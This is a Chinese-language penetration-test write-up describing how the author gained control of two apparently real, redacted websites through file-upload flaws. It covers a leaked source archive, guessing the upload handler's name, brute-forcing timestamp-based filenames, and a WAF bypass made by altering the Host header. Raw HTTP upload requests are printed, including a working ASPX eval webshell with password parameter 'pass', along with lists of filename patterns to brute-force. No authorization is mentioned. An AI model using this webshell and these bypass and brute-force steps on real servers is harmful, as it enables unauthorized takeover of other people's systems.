实战 | 一次运气很好的文件上传绕过

Aspark

​
站点1：文件上传
发现源代码泄露

打开自己珍藏已久的辣鸡字典，扫描发现存在bin.zip信息泄露，尝试进行代码审计
文件位置：SimpleDataPlatform.SimpleDataPlatform.fileUpload
找到ProccessRequest接收请求，可以看到获取了一堆参数后（初始化），后进入了HandleFiles方法，

​

跟进HandleFiles进行处理，如果dateType=ZBJHSB时，就继续处理请求，dateType为GET传参

​

路径为/Uploads/SetData/ZBJHSB，str名称为时间戳，且str2(后缀)没有进行限制就进行保存，

​

OK，这应该是一个妥妥的任意文件上传了，只要有返回值，那么这个站就没了。但是很不凑巧的是，他没有返回值。
由于方法fileUpload，瞎猜文件名为
fileUpload.aspxfileUpload.ashxfileUpload.asmxfileUploads.aspxfileUploads.asmxfileUploads.ashxUpload.....等加上自己现有的字典爆破了一波,成功找到了返回了200的文件名http://xxx.com:6039/FileUploads.ashx

直接构造上传表单，这里Form里的name字段应该是没有具体设置的（代码里没有找到），发包后返回200，可能真的传上去了吧？
​​​​​​​POST /FileUploads.ashx?DataType=ZBJHSB HTTP/1.1Host: xxx.cn:6039Content-Length: 195User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36X-Requested-With: XMLHttpRequestContent-Type: multipart/form-data; boundary=----WebKitFormBoundarySVkAJfiOUeRxhsu8Accept: */*Connection: close------WebKitFormBoundarySVkAJfiOUeRxhsu8Content-Disposition: form-data; name="File"; filename="1.aspx"Content-Type: image/jpeg11111111111------WebKitFormBoundarySVkAJfiOUeRxhsu8--

​

之前我们看到使用的格式为yyyyMMddHHmmssfff作为文件名，然后直接截取后缀作为ext，而且我们有了具体的路径，那么只需要爆破时间戳文件名即可拿下该站点，以前还没有这么做过，不妨试试。

爆破时间戳

使用Powershell生成时间戳，然后此时在Burp按下go发送请求包
powershell -c Get-Date -Format yyyyMMddHHmmssfff

​

再爆破后面5位数字，也就是ssfff（由于电脑上的时间不一定准，有时候甚至可能要爆破6位）
不知道等了多久

​

运气真好，后面的就不多说了。

站点2：文件上传
找到上传接口
打开网站http://xxxx:880/zwwpt/#/就发现存在一个webpack debug模式未关闭，查看JS发现上传接口

​

http://xxxxxx:880/zwwpt/data/menuData.json
发现了一个隐藏的html页面，这个页面在前端的功能点是点不到的。

​

http://xxxxxx:880/jtwxt/xgjt/security_risk.html
点击附件上传抓包

​

发现存在waf，当拦截住waf的时候，会返回404，大概数据包就是这样（省略了一些其他的无用参数）​​​​​​​
POST /jtwpt/Ashxs/BaseInfoTransfer.ashx HTTP/1.1Host: xxxxx.cn:880Cookie: Hm_lvt_a8b89d1c622d63c547c83ec412cc50ef=1631849663; Hm_lvt_69968305fa176c802589452987ebddc8=1631858810Connection: close------WebKitFormBoundary7PCqG5iQ5vwLZ6ABContent-Disposition: form-data; name="uploadfile[]"; filename="1.aspx"Content-Type: image/jpeg<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>------WebKitFormBoundary7PCqG5iQ5vwLZ6AB--
绕过
修改HOST:
xxxx.cn:880为xxxx.cn或xxx.cn:8888（不为880端口应该都可以）​​​​​​​
POST /jtwpt/Ashxs/BaseInfoTransfer.ashx HTTP/1.1Host: xxxxx.cnCookie: Hm_lvt_a8b89d1c622d63c547c83ec412cc50ef=1631849663; Hm_lvt_69968305fa176c802589452987ebddc8=1631858810Connection: close------WebKitFormBoundary7PCqG5iQ5vwLZ6ABContent-Disposition: form-data; name="uploadfile[]"; filename="1.aspxContent-Type: image/jpeg1111------WebKitFormBoundary7PCqG5iQ5vwLZ6AB--成功饶过waf，上传成功，但是没有返回路径

​

寻找路径
但是之前爆破目录找到了/uploads/目录和/image/目录

​

​

而且发现html名为security_risk.html，构造路径securityrisk、security_risk、security等，然后跑了一下目录
最终发现存在：
http://xxx.cn:880/uploads/securityrisk/ 这个目录

​

猜测可能上传的文件很有可能在该目录下，不然没必要起这么像的名字吧，而且还叫upload，于是尝试直接访问刚刚的文件名1.txt，返回是404

       
• 
  

http://xxx.cn:880/uploads/securityrisk/1.txt

​

爆破时间戳

根据自己微不足道的经验，dot.net架构的网站喜欢使用时间戳来命名，因此构造当前时间戳，尝试爆破上传时间附近的时间点的时间戳值。
时间戳一般为10位或者13位
文件上传后强制转换的文件名命名规律一般有
1、随机字符串​​​​​​​
xxx-xxx-xxx--xxx.jpg 格式这种类型我们没法猜，如果没目录遍历或者返回路径那么基本上只能放弃2、时间戳类型​​​​​​​
直接以时间戳+.jpg为文件名（如1631868676.jpg）时间戳+00001时间戳+0001时间戳+001时间戳+01时间戳3、yymmddHHmm类型
这种类型一般以20210917xxxxx这种格式，xxxx应该为毫秒级别的数字，我们可以直接使用Burp进行爆破跑，4——6位还是可能跑的出来的，再多就跑不出来了。
powershell -c Get-Date -Format  yyyyMMddHHmm

​

yyyyMMddHHmmssfffyyyyMMddHHmmssfff+00001yyyyMMddHHmmssfff+0001yyyyMMddHHmmssfff+001yyyyMMddHHmmssfff+01yyyyMMddHHmmssfffyyyyMMddHHmmssyyyyMMddHHmmss+00001yyyyMMddHHmmss+0001yyyyMMddHHmmss+001yyyyMMddHHmmss+01yyyyMMddHHmmss整理好了思路我们就开始爆破吧，我们只需选择在Burp发包时记住当前
时间，然后获取当前时间戳，然后使用Burp intruder爆破来跑，一个一个的整理过去，大概需要重复操作15次，每次我就选择最后5位数字来进行爆破（只要网站不挂，不疏漏每一种类型应该是没什么问题的）

​

经过大量爆破后，发现了上传的文本文件，格式内容为
yyyyMMddHHmmss+0001
成功找到路径后，后面的就无需多言了

但是这种方法还是比较靠运气的，因为很有可能当前服务器的时间和目标网站的
时间不一致，比如差个几个小时，甚至差个几天这种情况。
如果为yyyyMMddHHmmssfff的情况，那基本是没办法了，自认倒霉
如果是yyyyMMddHHmmss的情况，那么爆破6位数字，还是可能爆破出来的。
至此，两个站都拿到了权限，梦醒了。

​

​